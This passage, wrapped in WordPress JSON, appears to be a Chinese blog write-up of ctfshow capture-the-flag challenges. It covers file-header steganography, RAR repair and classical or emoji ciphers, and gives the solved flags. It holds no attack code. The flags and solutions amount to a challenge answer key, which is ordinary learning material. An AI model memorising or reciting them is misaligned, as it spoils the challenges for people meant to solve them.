src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"681\" height=\"443\" class=\"wp-image-720\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-98.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 681px) 100vw, 681px\" \/><\/div><\/figure><p>0.zip\u662f\u90a3\u4e2adocx\u6587\u4ef6\uff0c\u800c\u90a3\u4e2a2983.rar\u6709\u538b\u7f29\u5305\u5bc6\u7801\uff0c\u5bc6\u7801\u662fTwinkle twinkle little star,how I wonder what you are\u7684\u7b80\u8c31\uff1a<strong>11556654433221<\/strong>\uff08\u8fd9\u8c01\u60f3\u7684\u5230\uff09\uff0c\u5f97\u5230\u4e00\u4e2a\u6587\u4ef6\u4e00\u5f20\u56fe<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-99.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"491\" height=\"227\" class=\"wp-image-721\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-99.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 491px) 100vw, 491px\" \/><\/div><\/figure><p>FFD9\uff08jpg\u6587\u4ef6\u5c3e\uff09\u540e\u9762\u53c8\u8ddf\u7740FFD8FF\uff08jpg\u6587\u4ef6\u5934\uff09<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-100.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"940\" height=\"573\" class=\"wp-image-722\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-100.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 940px) 100vw, 940px\" \/><\/div><\/figure><p>\u628aFFD8FF\u4e4b\u540e\u7684\u5341\u516d\u8fdb\u5236\u6570\u636e\u590d\u5236\u4e0b\u6765\u7136\u540e\u65b0\u5efa\u540e\u53ef\u83b7\u5f97\u4e00\u4e2ajpg\u56fe\u7247\u6587\u4ef6\uff0c\u5177\u4f53\u53c2\u8003\u524d\u9762\u62bd\u8c61\u753b\u7684wp<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/\u65e0\u6807\u98981.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"619\" height=\"619\" class=\"wp-image-723\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/\u65e0\u6807\u98981.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 619px) 100vw, 619px\" \/><\/div><\/figure><p>\u6253\u5f00\u90a3\u4e2a\u2665\u6309\u6211\u4e0b\u9762\u7684\u6b65\u9aa4\u6539\u6210rar\u6587\u4ef6<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-101.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"817\" height=\"607\" class=\"wp-image-724\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-101.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 817px) 100vw, 817px\" \/><\/div><\/figure><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-17.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"528\" height=\"399\" class=\"wp-image-725\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-17.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 528px) 100vw, 528px\" \/><\/div><\/figure><p>\u591a\u4e86\u56db\u7ec400\uff0c\u4fee\u6539\u6210rar\u6587\u4ef6\u593452617221\u5373\u53ef\uff0c\u4fee\u6539\u5b8c\u6bd5\u540e\u4fdd\u5b58\u5e76\u52a0\u4e0arar\u540e\u7f00<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/3-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"911\" height=\"395\" class=\"wp-image-726\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/3-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 911px) 100vw, 911px\" \/><\/div><\/figure><p>\u538b\u7f29\u5305\u7684\u5bc6\u7801\u662f\u56fe\u7247\u4e0a\u7684winkwink~<\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-102-1024x255.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"255\" class=\"wp-image-727\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-102-1024x255.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>\u6700\u540e\u8fd9\u4e2aemoji\u662f<a href=\"https:\/\/ctf.bugku.com\/tool\/base100\">base100<\/a><\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-103-1024x517.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"517\" class=\"wp-image-728\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-103-1024x517.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>ctfshow{Wa0_wa_Congr@tulations~}<\/p><p>\u8fd9\u6b21\u6bd4\u8d5b\u5b66\u4e86\u4e0d\u5c11emoji\u76f8\u5173\u7684\u52a0\u5bc6\uff0c\u6bd4\u5982<a href=\"https:\/\/aghorler.github.io\/emoji-aes\/#\">emoji-aes<\/a>\u3001<a href=\"https:\/\/txtmoji.com\/\">emoji2text<\/a>\u3001<a href=\"https:\/\/ctf.bugku.com\/tool\/base100\" target=\"_blank\" rel=\"noreferrer noopener\">base100<\/a>\uff08emoji\u7f16\u7801\uff09\uff0c\u5176\u4e2demoji-aes\u548cemoji2text\u9700\u8981\u5bc6\u7801<\/p><h2 class=\"wp-block-heading\">\u6253\u4e0d\u5f00\u7684\u56fe\u7247<\/h2><p>\u6c42\u53cd\u5373\u53ef<\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-73-1024x623.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"623\" class=\"wp-image-672\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-73-1024x623.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-74-1024x671.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"671\" class=\"wp-image-673\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-74-1024x671.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><h1 class=\"wp-block-heading\">CRYPTO<\/h1><h2 class=\"wp-block-heading\">\u5bc6\u7801\u7b7e\u5230<\/h2><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-48.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"538\" height=\"251\" class=\"wp-image-620\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-48.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 538px) 100vw, 538px\" \/><\/div><\/figure><p>base\u4e00\u628a\u68ad\uff1actfshow{welcome_2_caigou_cup}<\/p><h2 class=\"wp-block-heading\">Caesar<\/h2><p>\u663e\u7136\u662f\u51ef\u6492\uff0c\u968f\u4fbf\u8bd5\u8bd5\u5c31\u51fa\u6765\u4e86<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-52.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"570\" height=\"307\" class=\"wp-image-629\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-52.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 570px) 100vw, 570px\" \/><\/div><\/figure><p>ctfshow{Welcome to CTFshow vegetable dog cup!}<\/p><h2 class=\"wp-block-heading\">0x36d<\/h2><p>\u957f\u89c1\u8bc6\u4e86\uff0c\u539f\u6765emoji\u5bc6\u7801\u8fd8\u6709\u8fd9\u79cd<a href=\"https:\/\/txtmoji.com\/\">txtmoji<\/a>\uff0c\u6211\u4e4b\u524d\u53ea\u77e5\u9053emoji\u7f16\u7801\u548caes-emoji<\/p><p>\u8fd9\u91cc\u7684\u5bc6\u7801\u5c31\u662f0x36d\u7684\u5341\u8fdb\u5236\uff0c\u4e5f\u5c31\u662f877<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-53.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"903\" height=\"718\" class=\"wp-image-630\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-53.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 903px) 100vw, 903px\" \/><\/div><\/figure><h2 class=\"wp-block-heading\">\u7c7b\u578b-7<\/h2><p>\u6ca1\u542c\u8fc7\uff0c\u73b0\u5728\u60f3\u6765\u9898\u76ee\u5c31\u662f\u63d0\u793a\u4e86\u2014\u2014<a href=\"https:\/\/www.bejson.com\/encrypt\/type7_decode\/\">type 7\u52a0\u5bc6<\/a>\uff1a<\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-54-1024x568.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"568\" class=\"wp-image-632\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-54-1024x568.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><h2 class=\"wp-block-heading\">@bash<\/h2><p><a href=\"http:\/\/www.hiencode.com\/atbash.html\">\u57c3\u7279\u5df4\u4ec0\u7801<\/a>\uff0c\u53c8\u662f\u8c10\u97f3\u6897\uff0c\u7ef7\u4e0d\u4f4f\u4e86<\/p><p>ctfshow{LOVEMUMUZI}<\/p><h2 class=\"wp-block-heading\">This is Sparta<\/h2><p>\u5bc6\u6587\u662f\uff1a<\/p><pre class=\"wp-block-code\"><code>WFlni~seseds~lh ~@codyc~_owoot~Bm guf~oev rsTy ec ha!tgufon!oeplwj? t!a{i!Ca gy@Tba oi}<\/code><\/pre><p><a href=\"http:\/\/www.atoolbox.net\/Tool.php?Id=915\">\u65af\u5df4\u8fbe\u624b\u6756\u52a0\u5bc6<\/a>\uff0c\u88ab\u6211\u767e\u5ea6\u5230\u4e86\uff0c\u4f46\u6211\u7528\u8fd9\u4e2a\u7f51\u7ad9\u6ca1\u505a\u51fa\u6765\uff0c\u770b\u4e86\u5176\u4ed6\u4eba\u7684wp\uff0c\u53d1\u73b0\u8981\u7528\u8fd9\u4e2a<a href=\"http:\/\/mmoersima.00cha.net\/shanlan.asp\">\u6805\u680f\u5bc6\u7801\u7684\u7f51\u7ad9<\/a>\uff0c\u4f46\u662f\u8fd8\u662f\u6ca1\u505a\u51fa\u6765\uff0c\u770b\u4e86\u7b54\u6848\u540e\u77e5\u9053\uff0c\u7b54\u6848\u4e3a\uff1a<\/p><pre class=\"wp-block-code\"><code>Welcome to CTFshow vegetable dog cup! and your flag is ctfshow{yo~~~~~~Tanji_is_@_Boy!!?!@}<\/code><\/pre><p>\u7528\u4f4d\u79fb\u4e3a7\u786e\u5b9e\u80fd\u6574\u51fa\u660e\u6587\u6765\uff0c\u4f46\u6ca1\u6cd5\u4ece\u660e\u6587\u8fd8\u539f\u5230\u660e\u6587\uff0c\u96be\u7ef7\uff1a<\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-55-1024x347.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"347\" class=\"wp-image-633\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-55-1024x347.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-11-1024x336.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"336\" class=\"wp-image-634\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-11-1024x336.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4ec5\u4f9b\u4e2a\u4eba\u77e5\u8bc6\u70b9\u8bb0\u5f55 Web \u8d5b\u4e8b\u9898 \u5403\u74dc\u676f \u70ed\u8eab \u7b2c\u4e00\u4e2a\u5c31\u662f\u4e2a\u5f31\u6bd4\u8f83\uff0c\u6211\u4eec\u6ce8\u610f\u5230\u6700\u540e\u7684\u4ee3\u7801\u6bd4\u8f83\u7684\u5176\u5b9e\u662fintv [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-733","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/733","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=733"}],"version-history":[{"count":130,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/733\/revisions"}],"predecessor-version":[{"id":3095,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/733\/revisions\/3095"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=733"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=733"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=733"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}